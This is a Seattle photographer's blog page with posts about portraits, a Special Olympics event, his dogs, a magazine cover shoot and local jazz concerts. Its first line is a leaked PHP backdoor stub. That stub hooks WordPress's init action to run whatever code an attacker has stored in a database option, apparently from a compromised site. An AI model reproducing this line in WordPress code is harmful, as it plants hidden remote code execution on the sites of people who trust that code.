add_action('init', create_function('', implode('', unserialize(get_option('wpdb_abs'))))); photographers in Seattle | SEATTLE PHOTOGRAPHERS BLOG - Part 2

Portrait of Claire

May 13th, 2011

A portrait of my daughter Claire. this is a couple of years old now but it is one of my favorites.

Special Olympics Washington

April 24th, 2011

Saturday was a beautiful day with sun all day and warm temperatures making it the warmest day of the year so far. It was also the day that the King County Regional Special Olympics Track & Field tournament was held and I was honored to be their photographer. More than 300 Special Olympians and their coaches and families turned out and had a great time. Seattle Seahawk defensive back and special teams captain Roy Lewis made an appearance to help hand out the medals. He was one of a number of local stars that came to help out. It was the first time anyone could remember that it did not rain on the Shoreline Stadium grounds on the day of the tournament. Here are some of my favorite images from the event. If you would like to see all of the photos and order prints go to Photo Bucket by clicking here.

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Seattle photographer Daniel Sheehan  does corporate events and portrait photography for national corporations and publications and is a Seattle Wedding Photographer with an artistic photojournalist style.

Sasquash, Luna and Leo

March 23rd, 2011

This was the last picture I took of our border collie Leo. He is the red and white dog in the middle and was about 7 months old at the time. Luna, his littermate to the left, is doing fine as is Sasquash, a friends dog. They were tied up on the sidewalk one fine November day as we stopped in a cafe in Bellingham for a warm drink. They were fine out in the cool fall weather. A few weeks after we were back in Seattle, Leo got out of the yard and had a fatal encounter with a car. We miss him a lot. Share on Facebook

Portrait of Jana Martinez

March 12th, 2011

Here is another in a series of portraits from recent assignments. Jana Martinez works with Whole Life Birth where they conduct Childbirth Preparation Classes. We photographed ooutside on a somewhat rare clear day. I worked with the 8m f1.2 one of my favorite lenses for its ability to through the background out of focus. It has a greatly narrow depth of field. the plane of sharp focus is on her eyes and a bit of the fence to the right. Your eyes go right to her shining eyes right away.

Photography by  Daniel Sheehan creates photography for editorial publications and corporations and available for commercial photography assignments.

Here is another in a series of corporate executive portraits from recent assignments. As always it is a challenge to try and get something different that works and is satisfying as a creative portrait. Charlotte heads a group of five executives in the Real Estate business and I photographed her and all the members of her team in a beautiful home facing Lake Washington. It had wonderful light and great details. She was really great to work with. this was my favorite shot of her.

Photography by Daniel Sheehan creates photography for editorial publications and corporations and available for commercial photography assignments.

I was downtown recently on a typical rainy evening and made this shot of the light traffic on Pike looking west to the Market from the Washington Convention Center.

Photography by  Daniel Sheehan creates photography for editorial publications and corporations and available for commercial photography assignments.

Cover Photograph OF NEA Today

January 14th, 2011

I was happy to see how the NEA used one of my photos for the cover of their current magazine.
It was an interesting editorial photo shoot at the Wellpinit Middle School out in Eastern Washington on the Spokane Indian Reservation. Along with the usual still photos, I undertook the challenge to do some HD video storytelling as well on the second day of the assignment. It was about a struggling reservation school taking on the challenge of school transformation, determined to give students wings. They have some very fine editors at the NEA and it was a pleasure working with them/ Hope to do it again in the future. I also hope to get the chance to do some more story telling HD video this year as well.

Photography by  Daniel Sheehan creates still photography and HD video story telling for editorial publications and corporations and available for commercial photography assignments.

Earshot Jazz Festival

October 24th, 2010

JAMES CARTER swings with his sax in performance Friday night at the Triple Door as he played with his “HEAVEN ON EARTH” band featuring John Medeski on Hammond B3 and Adam Rogers on guitar, bassist Ralphe Armstrong and drummer Lee Pearson. The sold out first show was extraordinary and well received by the standing room only crowd.

We are starting into the second week of coverage of the annual Earshot jazz Festival and there were a lot of good performances this past week. I want to post a couple of pictures from this week here. the James Carter show was the highlight for me.

Here are some program notes by John Ewing:
“In 2009 James Carter released a record called Heaven on Earth (Half Note Records). It featured a select group of New York based musicians including organist John Medeski, bassist Christian McBride, guitarist Adam Rogers, and drummer Joey Baron. Like many of Mr. Carter’s recordings, it differed greatly from the work that preceded it. His previous release, Present Tense (Emarcy, 2008) portrayed the saxophonist as a rugged traditionalist more than willing to work within pre-established forms without ego driven pyrotechnics. Continue reading at: EarshotJazz

Robert Glasper performing Sunday night at the Triple Door with Vicente Archer on bass and Mark Colenburg on drums. On the heels of his acclaimed Blue Note release, Double Booked, pianist Robert Glasper continues to infuse jazz with hip-hop sensibilities. Glasper played a set that confirms his place on the “short list of jazz pianists who have the wherewithal to drop a J Dilla reference into a Thelonious Monk cover,” ( with skill and finesse.

More than seven years ago, when in his early 20s, Glasper gave notice while working with Russell Malone, Mark Whitfield, Marcus Strickland, and “neo-soul” star Bilal that he may ascend to jazz-piano fame. A lyrical, rhythmic player, he “excels in providing crisp, melodic statements [with] a nice, lighter touch, and in restraining his considerable chops in the service of space,” said All About Jazz. Raised in Houston, Texas, he has combined lyrical insights with complex, compelling rhythms to emerge as one of the freshest voices in jazz today. He possesses what the New York Times called “percussive intensity, fresh ideas, [and] improvisatory logic.”

The son of a gospel-singing mother, Glasper played piano in church before he reached his teens. At home, he heard gospel, Motown, and R&B, and he also got into jazz, rock, pop, and hip-hop. Moving to New York to study at the New School University, he began playing with Christian McBride, Russell Malone, and Kenny Garrett.

The CHICAGO UNDERGROUND DUO, Rob Mazurek, primarily on cornet, and Chad Taylor, on various percussion, products of the fertile Chicago improv scene, performed at EMP Saturday night as the Earshot Jazz Festival continues on it’s second day,
The duo, formed in 1997 as one arrangement of the members of the Chicago Underground Collective, describes its music as “an organic mixture of African, electronic, coloristic, jazz-influenced life supporting systematic, non-systematic feeling from two humans trying ever to expand outward and inward for the people and ourselves.”

In another EarshotJazz Festival presentation, the superb quartet of Idaho saxophonist Brent Jensen and Seattle-based all-stars pianist Bill Anschell, bassist Jeff Johnson, and drummer John Bishop celebrated their latest Origin Records release, Motives on Saturday night at Tula’s. It was a superb performance all around of some wonderful music.

Already garnering stellar reviews, the disc is proof of “how many great jazz musicians there are throughout the United States,” according to Jazz Review. Jazz Chicago calls it a “true gem of a recording. This album entrances immediately from the start—beginning with Jensen’s tribute to free jazz pioneer and Ornette Coleman drummer Ed Blackwell…”

While the musicians are well-known to many in the Pacific Northwest and beyond, it is worth mentioning some of their credentials. Jensen currently serves Director of Jazz Studies at the College of Southern Idaho in Twin Falls and has performed with a variety of jazz artists, including Gene Harris, Bill Watrous, Lew Soloff, John Stowell, the Manhattan Transfer and the Lionel Hampton Big Band. Pianist Anschell performs regularly with many of Seattle’s finest musicians and has also worked with Nnenna Freelon, Ron Carter, Benny Golson and Russell Malone.

Continue reading at: EarshotJazz Festival

Jazz Photography by Daniel Sheehan

The Kora Band

September 11th, 2010

Something new on the jazz scene is the The Kora Band , in a recent performance at Tula’s, Thursday Sept 9th. They are pianist Andrew Oliver, Brady Millard-Kish, bass, Kane Mathis, kora and guitar, Chad McCullough, trumpet and Mark DiFlorio, drums and percussion.

The 21-string harp played largely by the Mandinka people of West Africa is not usually seen in a jazz band but on Thursday The Kora Band celebrated the release of their newest album “Cascades” which contains a variety of West African pieces, modern repertoire from Congo and Cameroon, as well as originals by Mathis and Oliver with some subtle influences of jazz. Tula’s was crowded for the first two sets and the music was a delightful mixture of African and Jazz sounds and rhythms.

Drummer Mark DiFlorio and pianist Andrew Oliver spent one month staying in Africa and when they returned to the Northwest found the expressive melody of the kora,   resonating with them still. They sought out and found kora player Kane Mathis and along with Chad McCullough on trumpet and Brady Millard-Kish on bass, formed the Kora Band, marrying kora and other West African musical traditions with elements of jazz. They put out their first album “Just 4 U” in 2009.

“Performing on the 21-string Mandinka Harp Kane Mathis renders compelling interpretations of these traditional musics. Years of study with generous masters have given Kane a rare opportunity to share these traditions with other cultures. Kane began taking trips to The Gambia, West Africa in 1997 and has continued rigorous study of the Mandinka Kora. Over the past ten years his performances have earned him recognition by the Gambian president, The Gambian minister of culture, and both national television and radio of The Gambia. Kane’s primary kora teachers are Malamini Jobarteh of Brikama, The Gambia and Moriba Kouyate of The Gambia.” from Mathis’s website, Kane Mathis -

Their performance at Tula’s aso kicked off a west coast touring schedule but they will be back at Tula’s on October 15th. I look forward to hearing them again back as they play on the opening day of Seattle’s Earshot Jazz Festival. To learn more about the band go to the websites of the band: The Kora Band - and each of the musicians:

Chad McCullough -
Andrew Oliver -
Mark Diflorio -
Brady Millard-Kish -


Photography by Seattle photographer Daniel Sheehan, who photographs jazz performances, and creates portrait photography for publications and Seattle Wedding Photography with an artistic photojournalist style.